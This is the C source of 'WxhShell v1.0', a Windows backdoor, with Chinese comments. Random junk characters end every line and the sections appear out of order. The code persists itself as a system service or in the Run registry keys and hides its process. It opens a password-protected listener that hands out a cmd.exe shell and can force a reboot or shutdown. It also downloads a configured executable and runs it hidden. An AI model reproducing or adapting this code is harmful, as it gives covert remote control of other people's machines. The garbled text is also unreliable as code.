    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dgT(]H  
    else { E <\\/Q%w  
    closesocket(wsh); <aQ5chf7  
    ExitThread(0); O3tw@ &k  
    } #3_ @aq*  
    break; d[oHjWk  
    } f7:}t+d  
  // 获取shell ;lf$)3%[  
  case 's': { q_Z6s5O  
    CmdShell(wsh); Z6 E_Y?  
    closesocket(wsh); kY{;(b3Q  
    ExitThread(0); _ O;R  
    break; \ `R8s_S  
  } Fb6d1I^wR  
  // 退出 #~[{*[B+  
  case 'x': { =b#:j:r  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8/R9YiY5*  
    CloseIt(wsh); `o?PLE;)p  
    break; H7}f[4S%  
    } ^9 ^DA!'  
  // 离开 ! =*k+gpF  
  case 'q': { :M8y 2f h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {43 J'WsJ  
    closesocket(wsh); VcLzv{  
    WSACleanup(); RO[6PlrRN  
    exit(1); A=r8_.@2@  
    break; ;cGY  
        } 2^y*O  
  } yiMqe^zy  
  } PQP|V>g  
1AQy 8n*  
  // 提示信息 ?{\h`+A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }WHq?  
} iw{^nSD  
  } Bo8NY!  
ef2)k4)"  
  return; eIQ@){lJ-]  
} eU\XAN#@  
*z&hXYm  
// shell模块句柄 +*wr=9>  
int CmdShell(SOCKET sock) t&~*!w!+jH  
{ yz=aJ v; H  
STARTUPINFO si; /Ow@CB  
ZeroMemory(&si,sizeof(si)); -PTfsQk  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; } ^2'@y!(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; onl,R{,`0  
PROCESS_INFORMATION ProcessInfo; (U@$gkUx}G  
char cmdline[]="cmd"; 4+MaV<!tU^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b8!   
  return 0; +v< \l=  
} Z=oGyA  
vbfQy2q  
// 自身启动模式 W&v|-#7=6  
int StartFromService(void) 5YYBX\MV  
{ `%*`rtZ+H.  
typedef struct a|z@5r%  
{ mDO! o  
  DWORD ExitStatus; 'xGTaKlm,  
  DWORD PebBaseAddress; "O~kIT?/v  
  DWORD AffinityMask; -t: U4r(  
  DWORD BasePriority; "[0.a\ d<  
  ULONG UniqueProcessId; C8D`:k  
  ULONG InheritedFromUniqueProcessId; SGu`vN]  
}   PROCESS_BASIC_INFORMATION;  Z>pZ|  
Q 3/J @MC  
PROCNTQSIP NtQueryInformationProcess; Y|buQQ|  
A=wG};%_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d>V#?1$h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F?t;bV  
 3Hi8=*  
  HANDLE             hProcess; 6FY.kN\  
  PROCESS_BASIC_INFORMATION pbi; lIPz "  
EI496bsRHm  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jZ''0Lclpc  
  if(NULL == hInst ) return 0; /0Mt-8[  
yW&ka3j\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [Y.=bfV!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e'->Sg  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =|dHD  
ij1YV2v  
  if (!NtQueryInformationProcess) return 0; ]n3!%0]\  
28vQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); k U0.:Gcc  
  if(!hProcess) return 0; 45&Rl,2  
{C0Y8:"`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [&kz4_  
UG[r /w5(F  
  CloseHandle(hProcess); ~K"nm{.  
_fSBb<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *%*B o9a/  
if(hProcess==NULL) return 0; Hbn78,~ .  
=.w~qL  
HMODULE hMod; $hMD6<e  
char procName[255]; P3nBxw"  
unsigned long cbNeeded; rA E5.Q!u  
|a %Wd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hzT)5'_  
F|@\IVEB]  
  CloseHandle(hProcess); Wg20H23XW  
'.C#"nY>1  
if(strstr(procName,"services")) return 1; // 以服务启动 U uC-R)  
VfUHqdg-  
  return 0; // 注册表启动 $ Ggnn#  
} 3W{ !\  
9E NI%Jz  
// 主模块 {h PB%  
int StartWxhshell(LPSTR lpCmdLine) UZ#oaD8H6  
{ Vf<q-3q  
  SOCKET wsl; ;e< TEs  
BOOL val=TRUE; %0 i)l|  
  int port=0; /4@ [^}x  
  struct sockaddr_in door; z:Z-2WV2o  
SlwQ_F"4L  
  if(wscfg.ws_autoins) Install(); JW )f'r_f  
/nn~&OU  
port=atoi(lpCmdLine); pRd'\+  
vPc*x5w-  
if(port<=0) port=wscfg.ws_port; $HtGB]  
9Q!Z9n"8~)  
  WSADATA data; tzv4uD]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; _GrifGU\  
:wG )  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kdp^{zW}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Ge_3^'  
  door.sin_family = AF_INET; i,S1|R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xaVn.&Wl  
  door.sin_port = htons(port); r?!:%L  
BC\W`K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "eqzn KT%u  
closesocket(wsl); 'GT^araz  
return 1; '#=0q  
} %V+"i_{m  
:HwdXhA6  
  if(listen(wsl,2) == INVALID_SOCKET) { EB*C;ms  
closesocket(wsl); &AWrM{e  
return 1; *")*w> R  
} A=IpP}7J  
  Wxhshell(wsl); esj6=Gh  
  WSACleanup(); 2pU'&8  
DR,7rT{$  
return 0; dfKGO$}V  
Ow.DBL)x'>  
} r/HTkXs I  
O6vxp?:^  
// 以NT服务方式启动 /|<S D.:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V)l:fUm2  
{ [`s0 L#  
DWORD   status = 0; j--byk6PB  
  DWORD   specificError = 0xfffffff; &9|L Z9K  
S[zGA<}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XH@(V4J(.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L#uU. U=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kkWv#,qwU  
  serviceStatus.dwWin32ExitCode     = 0; x^1d9Z  
  serviceStatus.dwServiceSpecificExitCode = 0; g6;smtu_T  
  serviceStatus.dwCheckPoint       = 0; O5Z9`_9<  
  serviceStatus.dwWaitHint       = 0; OM{^F=Ap  
n:2._s T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [0aC]XQZ  
  if (hServiceStatusHandle==0) return; I "O^.VC  
j7lJ7BIr  
status = GetLastError(); CtV|oeJ  
  if (status!=NO_ERROR) gPT_}#_GxM  
{ 8?Ju\W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U$~6V%e  
    serviceStatus.dwCheckPoint       = 0; G"OP`OMDc  
    serviceStatus.dwWaitHint       = 0; b9m`y*My  
    serviceStatus.dwWin32ExitCode     = status; GqR|hg  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~J&-~<%P}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z"%.  
    return; euVDrJ^  
  } C\~}ySQc.e  
yCav;ZS_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `lWGwFgg(  
  serviceStatus.dwCheckPoint       = 0; I`H&b& .`  
  serviceStatus.dwWaitHint       = 0; 8V 4e\q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xPPA8~Dm*  
} Y0T:%  
af %w|M  
// 处理NT服务事件,比如:启动、停止 AU}kIm_+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) VsAJ2g9L  
{ d&raHF*  
switch(fdwControl) 5RFro^S9E  
{ o{`x:  
case SERVICE_CONTROL_STOP: 1*2ycfa  
  serviceStatus.dwWin32ExitCode = 0; CuvY^["  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !'p<Kh[i  
  serviceStatus.dwCheckPoint   = 0; @uCi0Pt  
  serviceStatus.dwWaitHint     = 0; jH!;}q  
  { KFwuz()7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yxHo0U  
  } ,?erAI  
  return; -grmmE]/  
case SERVICE_CONTROL_PAUSE: #dL,d6a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rKUtTj  
  break; 'jfE?ngt  
case SERVICE_CONTROL_CONTINUE: d"06 gp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \<*F#3U1  
  break; (${ #l  
case SERVICE_CONTROL_INTERROGATE: &K[sb%  
  break; *$BUow/>  
}; [n)ak)_/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cx$h"  
} *X/Vt$P  
C@eL9R;N1  
// 标准应用程序主函数 R6od{#5H$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N%}J:w  
{ xb3G,F  
<)wLxWalF  
// 获取操作系统版本 dGm%If9P  
OsIsNt=GetOsVer(); ,v K%e>e&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {VW\EOPV~  
Pz{MYw  
  // 从命令行安装 4KtD  k  
  if(strpbrk(lpCmdLine,"iI")) Install(); oI/_WY[t  
][jwy-Uy;  
  // 下载执行文件 ;_c&J&I  
if(wscfg.ws_downexe) { =VzJ>!0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j \jMN*dmV  
  WinExec(wscfg.ws_filenam,SW_HIDE); hmGlGc,lf  
} Ye&/O<G'V  
\-pwA j?  
if(!OsIsNt) { L?+N:G  
// 如果时win9x,隐藏进程并且设置为注册表启动 g;'S5w9S  
HideProc(); H=C~h\me?  
StartWxhshell(lpCmdLine); x-k-Pd  
} h~\k;ca  
else Si]?4:E7=  
  if(StartFromService()) 7*+CX  
  // 以服务方式启动 M$%ON>K q  
  StartServiceCtrlDispatcher(DispatchTable); %xCL&}bY  
else #$xtUCqX  
  // 普通方式启动 slPr^)  
  StartWxhshell(lpCmdLine); Gg9s.]W  
P|@[D=y  
return 0; }6\,kFc  
} ?V8Fgd  
XXum2eA  
4"kc(J`c  
mc%. 8i  
=========================================== nUpj+F#  
Q4-d|  
,--#3+]XU  
s(3u\#P  
O=7S=Rm4&  
3WF]%P%  
" =Pw{1m|k  
$I*}AUp v?  
#include <stdio.h> #X'-/q`.  
#include <string.h> @[9  
#include <windows.h> 'RKpMdoz  
#include <winsock2.h> ,]wQ]fpt  
#include <winsvc.h> lwX9:[Z  
#include <urlmon.h> !9PAfi?  
.8^mA1fmX  
#pragma comment (lib, "Ws2_32.lib") ^6kl4:{idE  
#pragma comment (lib, "urlmon.lib") <M1*gz   
%<nGm\  
#define MAX_USER   100 // 最大客户端连接数 en'[_43  
#define BUF_SOCK   200 // sock buffer HJN GO[*g  
#define KEY_BUFF   255 // 输入 buffer 1?H; c5?d&  
gU+yqT7=  
#define REBOOT     0   // 重启 w/o^OjwQ  
#define SHUTDOWN   1   // 关机 eUQmW^  
, 4xNW:!j  
#define DEF_PORT   5000 // 监听端口 ,Ohhl`q(  
,\"x#Cc f  
#define REG_LEN     16   // 注册表键长度 V[kJ;YLPN  
#define SVC_LEN     80   // NT服务名长度 i4D]>  
^UKY1Q .  
// 从dll定义API "rLm)$I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); siCi+Y  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *uRDB9#9,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E*5aLT5!,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); * cW%Q@lit  
C('D]u$Hdk  
// wxhshell配置信息 A"M;kzAfHM  
struct WSCFG { z_xy*Iif  
  int ws_port;         // 监听端口 qzxWv5UH  
  char ws_passstr[REG_LEN]; // 口令 5A`>3w{3n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0Sd>*nC  
  char ws_regname[REG_LEN]; // 注册表键名 ASoBa&vX  
  char ws_svcname[REG_LEN]; // 服务名 p1niS:}j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e_epuki  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 j:1N&7<FU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 02;'"EmP$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no YX,;z/Jw2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" seK;TQ3/7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 VdM Ksx`r  
u->[ y1JY  
}; V=+|]`  
D.{vuftu  
// default Wxhshell configuration ==?wG!v2h  
struct WSCFG wscfg={DEF_PORT, [DjlkA/Zg  
    "xuhuanlingzhe", \[{8E}_"^  
    1, ;} Lf  
    "Wxhshell", u3 LoP_|  
    "Wxhshell", yO7H!}y_  
            "WxhShell Service", A2\hmp@A@7  
    "Wrsky Windows CmdShell Service", cD`?" n  
    "Please Input Your Password: ", $m5Iv_  
  1, jG `PyIgw  
  "http://www.wrsky.com/wxhshell.exe", dLH@,EKl)  
  "Wxhshell.exe" GPh;r7xg6  
    }; ]SA/KV   
6)YckxN^  
// 消息定义模块 !1R?3rVQS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /1/'zF&R-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G2wSd'n*y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0N!rIz  
char *msg_ws_ext="\n\rExit."; N~v<8vJq`  
char *msg_ws_end="\n\rQuit."; U`~L}w"  
char *msg_ws_boot="\n\rReboot..."; Pl'lmUR  
char *msg_ws_poff="\n\rShutdown..."; E.m2- P;4  
char *msg_ws_down="\n\rSave to "; >wqWIw.w>  
>V)#y$Z  
char *msg_ws_err="\n\rErr!"; apJXRH`  
char *msg_ws_ok="\n\rOK!"; "})OLa  
nnRb   
char ExeFile[MAX_PATH]; X{cB%to  
int nUser = 0; *^[6uaa  
HANDLE handles[MAX_USER]; Xmmj.ZUr  
int OsIsNt; x4kQGe(  
]lGkZyU hI  
SERVICE_STATUS       serviceStatus; NKFeND  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <Af&Q0J  
] rqx><!  
// 函数声明 `dX0F=Ag?  
int Install(void); 6rE8P#  
int Uninstall(void); TW 1`{SM  
int DownloadFile(char *sURL, SOCKET wsh); Xbx=h^S  
int Boot(int flag); mvpcRe <  
void HideProc(void); Fg p|gw4  
int GetOsVer(void); u{uqK7]+  
int Wxhshell(SOCKET wsl); 90abA,U@  
void TalkWithClient(void *cs); :&&s*_  
int CmdShell(SOCKET sock); 5,4" CF$  
int StartFromService(void); J( ]b1e  
int StartWxhshell(LPSTR lpCmdLine); v\9f 8|K  
*\:sHVyG(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a6h+?Q7uF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `j'1V1  
a6 :hH@,  
// 数据结构和表定义 T-4dD  
SERVICE_TABLE_ENTRY DispatchTable[] = 3jfAv@I~  
{ 'tMD=MH  
{wscfg.ws_svcname, NTServiceMain}, !} x-o`a5  
{NULL, NULL} XkUwO ]  
}; s."N7F  
%b_0l<+  
// 自我安装 6j1C=O@S  
int Install(void) 0r$n  
{ TEer>gD:v  
  char svExeFile[MAX_PATH]; G,WLca[  
  HKEY key; ]!"7k_  
  strcpy(svExeFile,ExeFile); j7I?K :op=  
kene' aDm  
// 如果是win9x系统,修改注册表设为自启动 =s.0 f:(  
if(!OsIsNt) { #$U/*~m $  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^pY8'LF6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +:aNgO#e8  
  RegCloseKey(key); T%"wz3~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5sEk rT '  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ep5`&g]3  
  RegCloseKey(key); ^(T~Qp  
  return 0; #:Q\   
    } QS4~":D/C  
  } @R;k@b   
} yfqe6-8U  
else { 7zN7PHT=$t  
k`'*niz  
// 如果是NT以上系统,安装为系统服务 Ke#Rkt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C %j%>X`  
if (schSCManager!=0) g 6?y{(1  
{ W%&s$b(  
  SC_HANDLE schService = CreateService ?%ltoezf  
  ( -+2A@kmEJ  
  schSCManager, b!J?>du  
  wscfg.ws_svcname, i& \ >/ 1  
  wscfg.ws_svcdisp, CO, {/  
  SERVICE_ALL_ACCESS, B )\;Ja  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , qTWQ!  
  SERVICE_AUTO_START, 'O2/PU2_  
  SERVICE_ERROR_NORMAL, f#I#24)RH  
  svExeFile, T#Bj5H  
  NULL, ON>l%Ae4G  
  NULL, .n.N.e  
  NULL, iM1E**WCtv  
  NULL, g^po$%I '  
  NULL :YX5%6  
  ); OM7AK B=S  
  if (schService!=0) fV6ddh  
  { 7#Fcn  
  CloseServiceHandle(schService); e=# D1  
  CloseServiceHandle(schSCManager); lc [)Ev  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p,(W?.ZDN?  
  strcat(svExeFile,wscfg.ws_svcname); c*R\fQd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ed-3-vJej6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h~._R6y  
  RegCloseKey(key); I;?PDhDb  
  return 0; Ms3GvPsgv  
    } hVFZQJ?cv  
  } 211T}a  
  CloseServiceHandle(schSCManager); Fwvc+ a  
} Tk 'Pv  
} ;>5]KNj  
Bz%wV-  
return 1; m9 c`"!  
} \fvm6$ rZ^  
^rY18?XC+:  
// 自我卸载 ,j(E>g3  
int Uninstall(void) ]w4?OK(j  
{ ^,f^YL;  
  HKEY key; CZy3]O"qW  
g{>0Pa 1?C  
if(!OsIsNt) { .Tw:Y,G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V`c,U7[/  
  RegDeleteValue(key,wscfg.ws_regname); i>-#QKqJ  
  RegCloseKey(key); .>}Z3jUrf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8y[Rwa  
  RegDeleteValue(key,wscfg.ws_regname); #l9sQ-1Q  
  RegCloseKey(key); ?y  "M>#  
  return 0; `q  | )_  
  } R S>qP;V*-  
} Pv)^L  
} 3-Xd9ou  
else { BT3yrq9  
nLANWQk9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w|0:0Rc~u  
if (schSCManager!=0) "HH<5  M  
{ !`W0;0'Zg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c|k(_#\B  
  if (schService!=0) Ff =%eg]  
  { VKlC`k8L  
  if(DeleteService(schService)!=0) { ]vV)$xMX  
  CloseServiceHandle(schService); Q$k#q<+0  
  CloseServiceHandle(schSCManager); B o%Sl  
  return 0; /m^G 99N  
  } yVKl%GO  
  CloseServiceHandle(schService); Z@*!0~NH=4  
  } *<"{(sAvk  
  CloseServiceHandle(schSCManager); *p\fb7Pu_3  
} !4Sd^"  
} k f|J  
i]@k'2N  
return 1; NweGK  
}  #3RElI  
(WY9EJ<s,  
// 从指定url下载文件 v:w^$]4  
int DownloadFile(char *sURL, SOCKET wsh) /3sX>Rj  
{ '0o^T 7C  
  HRESULT hr; t0/Ol'kgs  
char seps[]= "/"; *]Cyc<  
char *token; Rz&}e@stl  
char *file; ,Qo:]Mj  
char myURL[MAX_PATH]; >'WTVj`  
char myFILE[MAX_PATH]; xwHE,ykE  
c7WOcy@M  
strcpy(myURL,sURL); ,":_CY4(  
  token=strtok(myURL,seps); '*@=SM  
  while(token!=NULL) ]F;1l3I-  
  { q['3M<q  
    file=token; }5 $le]  
  token=strtok(NULL,seps); -H|!KnR  
  } lh XD9ed  
 (wxi!  
GetCurrentDirectory(MAX_PATH,myFILE); 3Q7PY46  
strcat(myFILE, "\\"); pbwOma2  
strcat(myFILE, file); w`M`F<_\:  
  send(wsh,myFILE,strlen(myFILE),0); F8/n;  
send(wsh,"...",3,0); ]n:R#55A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WYcZD_  
  if(hr==S_OK) Znh;#%n|  
return 0; J{XRltI+  
else $DnR[V}rR!  
return 1; z?UEn#E2  
:DuEv:;v  
} J^PFhu  
z  fy(j  
// 系统电源模块 \~U:k4  
int Boot(int flag) mGmZ}H'{  
{ N1x~-2(  
  HANDLE hToken; x>A[~s"|N  
  TOKEN_PRIVILEGES tkp; %*gg6Q  
:gRVa=}=  
  if(OsIsNt) { 4TiHh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Z\n^m^Z =  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i`iR7UmHeR  
    tkp.PrivilegeCount = 1; h^14/L=|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hwi_=-SL  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OekE]`~w  
if(flag==REBOOT) { + kF%>F]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z,~@_;F  
  return 0; 6J$I8b#/  
} #)S&Z><<  
else { qIh9? |`U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XCXX(8To0=  
  return 0; ]z# Ita;  
} :}gEt?TUhs  
  } yGX5\PSo  
  else { >5 Y.  
if(flag==REBOOT) { pXA |'U5]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) axN\ZXU  
  return 0; jL'R4z  
} ,*m|Lt%;R  
else { )?6%d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m6gMVon  
  return 0; cXYE !(  
} O+=}x]q*y  
} h1f 05  
z+zEH9.'  
return 1; rA8{Q.L  
} 4#ikdjB;  
#n|eq{fkK  
// win9x进程隐藏模块 WfTl\Dxw  
void HideProc(void) 9}a&:QTHR  
{ ]bstkf}~u  
yOk{l$+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Gj[5e w?@  
  if ( hKernel != NULL ) i#*lK7  
  { {7_C|z:'p&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b"OHXu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /2tP d  
    FreeLibrary(hKernel); gebL6oc%  
  } 4sC)hAx&f  
ogJ';i/o  
return; (''w$qq"D  
} 7=qvu&{  
VM;vLUu!e  
// 获取操作系统版本 ob|^lAU  
int GetOsVer(void) ocpM6b.fK  
{ BE54L+$p  
  OSVERSIONINFO winfo; ' hdLQ\J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3bQq Nk  
  GetVersionEx(&winfo); 7d+0'3%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /1Ss |.  
  return 1; v0T?c53?  
  else <KI>:@|Sc  
  return 0; :EH>&vm  
} us.IdG  
:X}Ie P  
// 客户端句柄模块 kX)*:~*  
int Wxhshell(SOCKET wsl) iDltN]zS  
{ gQ<{NQMzvd  
  SOCKET wsh; bh3yH>Zns  
  struct sockaddr_in client; wT-K g=-q  
  DWORD myID; 0}'/3Q  
B^{~,'  
  while(nUser<MAX_USER) HC6v#-( `{  
{ T#vY(d  
  int nSize=sizeof(client); Rv.IHSQUo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?>gr9w\  
  if(wsh==INVALID_SOCKET) return 1; NH*"AE;  
7Rc>LI* '  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6:Y2z!MLO  
if(handles[nUser]==0) D'^UZZlI^I  
  closesocket(wsh); #Kx @:I  
else Tz0XBH_  
  nUser++; su\`E&0V+  
  } (.5Ft^3W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); w?Cho</Xu  
BaMF5f+  
  return 0; >ZU)bnndA  
} [<d_#(]h'  
+G,_|C2J  
// 关闭 socket _@ g\.7@0G  
void CloseIt(SOCKET wsh) X0]$Ovq(l  
{ ]K%d   
closesocket(wsh); ,?+uQXfXR  
nUser--; +I}!)$/  
ExitThread(0); 0sCWIGU W  
} }j!C+i  
/)?qD  
// 客户端请求句柄 ?D(aky#cyc  
void TalkWithClient(void *cs) 5'<a,,RKu  
{ NSq29#  
'a:';hU3f  
  SOCKET wsh=(SOCKET)cs; R0bgt2J  
  char pwd[SVC_LEN]; FL&L$#X  
  char cmd[KEY_BUFF]; <UTO\w%  
char chr[1]; Zcg-i:@  
int i,j; ,C:^K`k&  
*r7%'K{ C  
  while (nUser < MAX_USER) { 6]4=8! J  
8m#y>`  
if(wscfg.ws_passstr) { $I<\Yuy-M9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D u_ ;!E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7f<@+&  
  //ZeroMemory(pwd,KEY_BUFF); 1Ve~P"w  
      i=0; ~B7<Yg  
  while(i<SVC_LEN) { VZ7E#z+nM#  
*?>52 -&b  
  // 设置超时 ih |&q  
  fd_set FdRead; ,vBB". LY'  
  struct timeval TimeOut; zz8NBO  
  FD_ZERO(&FdRead); z(#dL>d$'  
  FD_SET(wsh,&FdRead); n;~'W*Ln0  
  TimeOut.tv_sec=8; Qo*OC 9E`  
  TimeOut.tv_usec=0; s{42_O?,c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nB/`~_9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?u0qYep:  
i@ 86Ez  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iP1yy5T  
  pwd=chr[0]; H29vuGQjq  
  if(chr[0]==0xd || chr[0]==0xa) { k7(lwEgNG  
  pwd=0; k,ezB+  
  break; Qv)DSl  
  } + +Eu.W;&#  
  i++; ME.!l6lm\  
    } Qtt3;5m  
|D[LU[<C  
  // 如果是非法用户,关闭 socket ij.NSyk9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z2-"NB  
} aY DM)b}  
=4OV }z=I  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #T8PgmR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `3z6y& dmx  
]?NiY:v  
while(1) {  xS="o  
G'wyH[ d/  
  ZeroMemory(cmd,KEY_BUFF); $J0o%9K   
eQMa9_  
      // 自动支持客户端 telnet标准   nB}eJD|  
  j=0; ;{0%Vp{  
  while(j<KEY_BUFF) { 8?w#=@s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~3|)[R=+p1  
  cmd[j]=chr[0]; `1#Z9&bO  
  if(chr[0]==0xa || chr[0]==0xd) { 9"}5jq4*  
  cmd[j]=0; o :j'd  
  break; )q[Wzx_ j<  
  } *@W B aN+  
  j++; =<AG}by![  
    } j!@, r^(  
`H9 !Z$7G  
  // 下载文件 OU*skc>  
  if(strstr(cmd,"http://")) { 0%yPuY>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w BoP&l  
  if(DownloadFile(cmd,wsh)) ~b%dBn]n>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oe;1f#` 5  
  else 4.>y[_vu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7dOpJjv?)  
  } hI*6f3Vn(n  
  else { *T.V5FB0S  
={jj'X9  
    switch(cmd[0]) { +6L.a3&(b  
